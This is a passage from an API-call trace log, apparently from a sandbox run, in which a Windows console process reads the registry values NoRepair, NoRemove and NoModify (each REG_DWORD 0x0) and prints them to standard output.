4 [0146.840] GetConsoleOutputCP () returned 0x1b5 [0146.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.840] GetConsoleOutputCP () returned 0x1b5 [0146.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.840] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.840] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.840] lstrlenW (lpString="NoRepair") returned 8 [0146.840] __iob_func () returned 0x7fefd702a80 [0146.840] _fileno (_File=0x7fefd702ab0) returned 1 [0146.840] _errno () returned 0xc4bb0 [0146.840] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.840] _errno () returned 0xc4bb0 [0146.840] GetFileType (hFile=0x50) returned 0x1 [0146.840] lstrlenW (lpString="NoRepair") returned 8 [0146.840] GetConsoleOutputCP () returned 0x1b5 [0146.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.841] GetConsoleOutputCP () returned 0x1b5 [0146.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0146.841] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.841] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.841] __iob_func () returned 0x7fefd702a80 [0146.841] _fileno (_File=0x7fefd702ab0) returned 1 [0146.841] _errno () returned 0xc4bb0 [0146.841] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.841] _errno () returned 0xc4bb0 [0146.841] GetFileType (hFile=0x50) returned 0x1 [0146.841] lstrlenW (lpString=" ") returned 4 [0146.841] GetConsoleOutputCP () returned 0x1b5 [0146.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.841] GetConsoleOutputCP () returned 0x1b5 [0146.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.841] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.841] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.841] __iob_func () returned 0x7fefd702a80 [0146.841] _fileno (_File=0x7fefd702ab0) returned 1 [0146.841] _errno () returned 0xc4bb0 [0146.841] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.841] _errno () returned 0xc4bb0 [0146.842] GetFileType (hFile=0x50) returned 0x1 [0146.842] lstrlenW (lpString="REG_DWORD") returned 9 [0146.842] GetConsoleOutputCP () returned 0x1b5 [0146.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.842] GetConsoleOutputCP () returned 0x1b5 [0146.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.842] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.842] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.842] __iob_func () returned 0x7fefd702a80 [0146.842] _fileno (_File=0x7fefd702ab0) returned 1 [0146.842] _errno () returned 0xc4bb0 [0146.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.842] _errno () returned 0xc4bb0 [0146.842] GetFileType (hFile=0x50) returned 0x1 [0146.842] lstrlenW (lpString=" ") returned 4 [0146.842] GetConsoleOutputCP () returned 0x1b5 [0146.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.842] GetConsoleOutputCP () returned 0x1b5 [0146.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.842] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.843] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.843] __iob_func () returned 0x7fefd702a80 [0146.843] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.843] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.843] _fileno (_File=0x7fefd702ab0) returned 1 [0146.843] _errno () returned 0xc4bb0 [0146.843] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.843] _errno () returned 0xc4bb0 [0146.843] GetFileType (hFile=0x50) returned 0x1 [0146.843] lstrlenW (lpString="0x0") returned 3 [0146.843] GetConsoleOutputCP () returned 0x1b5 [0146.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.843] GetConsoleOutputCP () returned 0x1b5 [0146.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.843] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.843] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.843] __iob_func () returned 0x7fefd702a80 [0146.843] _fileno (_File=0x7fefd702ab0) returned 1 [0146.843] _errno () returned 0xc4bb0 [0146.843] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.843] _errno () returned 0xc4bb0 [0146.843] GetFileType (hFile=0x50) returned 0x1 [0146.843] lstrlenW (lpString="\n") returned 1 [0146.843] GetConsoleOutputCP () returned 0x1b5 [0146.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.844] GetConsoleOutputCP () returned 0x1b5 [0146.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.844] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.844] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.844] GetProcessHeap () returned 0x2e0000 [0146.844] GetProcessHeap () returned 0x2e0000 [0146.844] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.844] GetProcessHeap () returned 0x2e0000 [0146.844] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.844] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.844] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRemove", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.844] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.844] GetProcessHeap () returned 0x2e0000 [0146.844] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.844] GetProcessHeap () returned 0x2e0000 [0146.844] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.844] GetProcessHeap () returned 0x2e0000 [0146.844] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.844] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.844] __iob_func () returned 0x7fefd702a80 [0146.844] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.844] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.844] _fileno (_File=0x7fefd702ab0) returned 1 [0146.844] _errno () returned 0xc4bb0 [0146.844] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.844] _errno () returned 0xc4bb0 [0146.845] GetFileType (hFile=0x50) returned 0x1 [0146.845] lstrlenW (lpString=" ") returned 4 [0146.845] GetConsoleOutputCP () returned 0x1b5 [0146.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.845] GetConsoleOutputCP () returned 0x1b5 [0146.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.845] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.845] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.845] lstrlenW (lpString="NoRemove") returned 8 [0146.845] __iob_func () returned 0x7fefd702a80 [0146.845] _fileno (_File=0x7fefd702ab0) returned 1 [0146.845] _errno () returned 0xc4bb0 [0146.845] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.845] _errno () returned 0xc4bb0 [0146.845] GetFileType (hFile=0x50) returned 0x1 [0146.845] lstrlenW (lpString="NoRemove") returned 8 [0146.845] GetConsoleOutputCP () returned 0x1b5 [0146.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.845] GetConsoleOutputCP () returned 0x1b5 [0146.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRemove", lpUsedDefaultChar=0x0) returned 8 [0146.846] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.846] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.846] __iob_func () returned 0x7fefd702a80 [0146.846] _fileno (_File=0x7fefd702ab0) returned 1 [0146.846] _errno () returned 0xc4bb0 [0146.846] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.846] _errno () returned 0xc4bb0 [0146.846] GetFileType (hFile=0x50) returned 0x1 [0146.846] lstrlenW (lpString=" ") returned 4 [0146.846] GetConsoleOutputCP () returned 0x1b5 [0146.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.846] GetConsoleOutputCP () returned 0x1b5 [0146.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.846] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.846] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.846] __iob_func () returned 0x7fefd702a80 [0146.846] _fileno (_File=0x7fefd702ab0) returned 1 [0146.846] _errno () returned 0xc4bb0 [0146.846] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.846] _errno () returned 0xc4bb0 [0146.846] GetFileType (hFile=0x50) returned 0x1 [0146.846] lstrlenW (lpString="REG_DWORD") returned 9 [0146.846] GetConsoleOutputCP () returned 0x1b5 [0146.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.847] GetConsoleOutputCP () returned 0x1b5 [0146.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.847] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.847] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.847] __iob_func () returned 0x7fefd702a80 [0146.847] _fileno (_File=0x7fefd702ab0) returned 1 [0146.847] _errno () returned 0xc4bb0 [0146.847] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.847] _errno () returned 0xc4bb0 [0146.847] GetFileType (hFile=0x50) returned 0x1 [0146.847] lstrlenW (lpString=" ") returned 4 [0146.847] GetConsoleOutputCP () returned 0x1b5 [0146.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.847] GetConsoleOutputCP () returned 0x1b5 [0146.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.847] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.847] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.847] __iob_func () returned 0x7fefd702a80 [0146.847] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.848] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.848] _fileno (_File=0x7fefd702ab0) returned 1 [0146.848] _errno () returned 0xc4bb0 [0146.848] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.848] _errno () returned 0xc4bb0 [0146.848] GetFileType (hFile=0x50) returned 0x1 [0146.848] lstrlenW (lpString="0x0") returned 3 [0146.848] GetConsoleOutputCP () returned 0x1b5 [0146.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.848] GetConsoleOutputCP () returned 0x1b5 [0146.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.848] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.848] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.848] __iob_func () returned 0x7fefd702a80 [0146.848] _fileno (_File=0x7fefd702ab0) returned 1 [0146.848] _errno () returned 0xc4bb0 [0146.848] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.848] _errno () returned 0xc4bb0 [0146.848] GetFileType (hFile=0x50) returned 0x1 [0146.848] lstrlenW (lpString="\n") returned 1 [0146.848] GetConsoleOutputCP () returned 0x1b5 [0146.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.848] GetConsoleOutputCP () returned 0x1b5 [0146.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.849] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.849] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.849] GetProcessHeap () returned 0x2e0000 [0146.849] GetProcessHeap () returned 0x2e0000 [0146.849] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.849] GetProcessHeap () returned 0x2e0000 [0146.849] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.849] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.849] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.849] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.849] GetProcessHeap () returned 0x2e0000 [0146.849] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.849] GetProcessHeap () returned 0x2e0000 [0146.849] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.849] GetProcessHeap () returned 0x2e0000 [0146.849] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.849] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.849] __iob_func () returned 0x7fefd702a80 [0146.849] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.849] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.849] _fileno (_File=0x7fefd702ab0) returned 1 [0146.849] _errno () returned 0xc4bb0 [0146.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.849] _errno () returned 0xc4bb0 [0146.849] GetFileType (hFile=0x50) returned 0x1 [0146.849] lstrlenW (lpString=" ") returned 4 [0146.849] GetConsoleOutputCP () returned 0x1b5 [0146.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.850] GetConsoleOutputCP () returned 0x1b5 [0146.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.850] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.850] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.850] lstrlenW (lpString="NoModify") returned 8 [0146.850] __iob_func () returned 0x7fefd702a80 [0146.850] _fileno (_File=0x7fefd702ab0) returned 1 [0146.850] _errno () returned 0xc4bb0 [0146.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.850] _errno () returned 0xc4bb0 [0146.850] GetFileType (hFile=0x50) returned 0x1 [0146.850] lstrlenW (lpString="NoModify") returned 8 [0146.850] GetConsoleOutputCP () returned 0x1b5 [0146.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.850] GetConsoleOutputCP () returned 0x1b5 [0146.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0146.850] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.850] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.851] __iob_func () returned 0x7fefd702a80 [0146.851] _fileno (_File=0x7fefd702ab0) returned 1 [0146.851] _errno () returned 0xc4bb0 [0146.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.851] _errno () returned 0xc4bb0 [0146.851] GetFileType (hFile=0x50) returned 0x1 [0146.851] lstrlenW (lpString=" ") returned 4 [0146.851] GetConsoleOutputCP () returned 0x1b5 [0146.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.851] GetConsoleOutputCP () returned 0x1b5 [0146.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.851] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.851] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.851] __iob_func () returned 0x7fefd702a80 [0146.851] _fileno (_File=0x7fefd702ab0) returned 1 [0146.851] _errno () returned 0xc4bb0 [0146.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.851] _errno () returned 0xc4bb0 [0146.851] GetFileType (hFile=0x50) returned 0x1 [0146.851] lstrlenW (lpString="REG_DWORD") returned 9 [0146.851] GetConsoleOutputCP () returned 0x1b5 [0146.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.851] GetConsoleOutputCP () returned 0x1b5 [0146.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.852] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.852] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.852] __iob_func () returned 0x7fefd702a80 [0146.852] _fileno (_File=0x7fefd702ab0) returned 1 [0146.852] _errno () returned 0xc4bb0 [0146.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.852] _errno () returned 0xc4bb0 [0146.852] GetFileType (hFile=0x50) returned 0x1 [0146.852] lstrlenW (lpString=" ") returned 4 [0146.852] GetConsoleOutputCP () returned 0x1b5 [0146.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.852] GetConsoleOutputCP () returned 0x1b5 [0146.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.852] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.852] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.852] __iob_func () returned 0x7fefd702a80 [0146.852] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.852] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.852] _fileno (_File=0x7fefd702ab0) returned 1 [0146.852] _errno () returned 0xc4bb0 [0146.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.852] _errno () returned 0xc4bb0 